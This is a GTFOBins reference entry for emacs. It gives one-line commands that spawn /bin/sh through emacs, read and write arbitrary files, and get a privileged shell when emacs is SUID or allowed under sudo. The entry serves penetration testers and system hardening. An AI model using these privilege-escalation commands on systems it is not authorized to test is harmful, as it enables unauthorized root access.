GTFOBins.github.io/_gtfobins/emacs.md
2018-08-20 15:00:34 +02:00

17 lines
366 B
Markdown

---
functions:
execute-interactive:
- code: emacs -Q -nw --eval '(term "/bin/sh")'
file-write:
- code: |
emacs file_to_write
DATA
C-x C-s
file-read:
- code: emacs file_to_read
suid-enabled:
- code: ./emacs -Q -nw --eval '(term "/bin/sh -p")'
sudo-enabled:
- code: sudo emacs -Q -nw --eval '(term "/bin/sh")'
---